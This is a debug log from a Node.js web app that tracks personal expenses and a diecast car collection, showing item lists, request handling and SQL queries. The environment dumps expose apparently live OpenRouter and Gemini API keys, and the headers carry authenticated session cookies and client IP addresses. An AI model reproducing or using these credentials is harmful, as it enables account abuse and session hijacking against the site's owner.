  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-01-30T10:35:53.148Z server-connect:router Serving templateView /
2026-01-30T10:35:53.148Z server-connect:app Executing action step identify
2026-01-30T10:35:53.149Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:53.149Z server-connect:auth No login cookie found
2026-01-30T10:35:53.149Z server-connect:output identity: false
2026-01-30T10:35:53.149Z server-connect:app Executing action step restrict
2026-01-30T10:35:53.149Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:35:53.150Z server-connect:output restrict: undefined
2026-01-30T10:35:53.527Z server-connect:router Serving templateView /login
2026-01-30T10:35:53.528Z server-connect:app Executing action step identify
2026-01-30T10:35:53.528Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:53.528Z server-connect:auth No login cookie found
2026-01-30T10:35:53.528Z server-connect:output identity: false
2026-01-30T10:35:53.528Z server-connect:router Render template layouts/authentication
2026-01-30T10:35:53.529Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
    'accept-language': 'en-US, en; q=0.8',
    'cache-control': 'no-cache',
    pragma: 'no-cache',
    accept: 'text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, image/apng, */*; q=0.8',
    'x-datadog-trace-id': '9518188861885235478',
    'x-datadog-parent-id': '13452727694681662734',
    'x-datadog-sampling-priority': '0',
    'x-datadog-tags': '_dd.p.tid=697c898800000000',
    traceparent: '00-697c8988000000008417665721bfc116-bab1b0900d8f650e-00',
    tracestate: 'dd=s:0;p:bab1b0900d8f650e',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '20.115.49.134',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T10:35:53.527Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '20.115.49.134',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US, en; q=0.8',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_PRAGMA: 'no-cache',
    HTTP_ACCEPT: 'text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, image/apng, */*; q=0.8',
    'HTTP_X_DATADOG-TRACE-ID': '9518188861885235478',
    'HTTP_X_DATADOG-PARENT-ID': '13452727694681662734',
    'HTTP_X_DATADOG-SAMPLING-PRIORITY': '0',
    'HTTP_X_DATADOG-TAGS': '_dd.p.tid=697c898800000000',
    HTTP_TRACEPARENT: '00-697c8988000000008417665721bfc116-bab1b0900d8f650e-00',
    HTTP_TRACESTATE: 'dd=s:0;p:bab1b0900d8f650e',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '20.115.49.134',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-01-30T10:35:57.340Z server-connect:router Serving templateView /diecast
2026-01-30T10:35:57.341Z server-connect:app Executing action step identify
2026-01-30T10:35:57.341Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:57.341Z server-connect:output identity: 1
2026-01-30T10:35:57.341Z server-connect:app Executing action step restrict
2026-01-30T10:35:57.341Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:35:57.342Z server-connect:output restrict: undefined
2026-01-30T10:35:57.342Z server-connect:router Render template diecast
2026-01-30T10:35:57.342Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T10:35:49.553Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-01-30T10:35:57.622Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-01-30T10:35:57.623Z server-connect:app Executing action step identify
2026-01-30T10:35:57.623Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:57.623Z server-connect:output identity: 1
2026-01-30T10:35:57.623Z server-connect:app Executing action step restrict
2026-01-30T10:35:57.623Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:35:57.624Z server-connect:output restrict: undefined
2026-01-30T10:35:57.624Z server-connect:app Executing action step select
2026-01-30T10:35:57.624Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-01-30T10:35:57.630Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-01-30T10:35:57.631Z server-connect:router Serving serverConnect /api/diecast/list
2026-01-30T10:35:57.633Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-01-30T10:35:57.634Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-01-30T10:35:57.635Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-01-30T10:35:57.636Z server-connect:app Executing action step identify
2026-01-30T10:35:57.636Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:57.636Z server-connect:output identity: 1
2026-01-30T10:35:57.636Z server-connect:app Executing action step restrict
2026-01-30T10:35:57.637Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:35:57.637Z server-connect:app Executing action step identify
2026-01-30T10:35:57.637Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:57.637Z server-connect:output identity: 1
2026-01-30T10:35:57.637Z server-connect:app Executing action step restrict
2026-01-30T10:35:57.637Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:35:57.638Z server-connect:app Executing action step identify
2026-01-30T10:35:57.638Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:57.638Z server-connect:output identity: 1
2026-01-30T10:35:57.638Z server-connect:app Executing action step restrict
2026-01-30T10:35:57.638Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:35:57.638Z server-connect:output restrict: undefined
2026-01-30T10:35:57.638Z server-connect:app Executing action step select
2026-01-30T10:35:57.638Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-01-30T10:35:57.639Z server-connect:app Executing action step identify
2026-01-30T10:35:57.639Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:57.639Z server-connect:output identity: 1
2026-01-30T10:35:57.639Z server-connect:app Executing action step restrict
2026-01-30T10:35:57.639Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:35:57.639Z server-connect:output restrict: undefined
2026-01-30T10:35:57.640Z server-connect:app Executing action step paged
2026-01-30T10:35:57.640Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-01-30T10:35:57.642Z server-connect:output restrict: undefined
2026-01-30T10:35:57.642Z server-connect:app Executing action step select
2026-01-30T10:35:57.642Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-01-30T10:35:57.643Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2026-01-30T10:35:57.644Z server-connect:output restrict: undefined
2026-01-30T10:35:57.644Z server-connect:app Executing action step select
2026-01-30T10:35:57.644Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-01-30T10:35:57.647Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2026-01-30T10:35:57.650Z server-connect:output brand: [
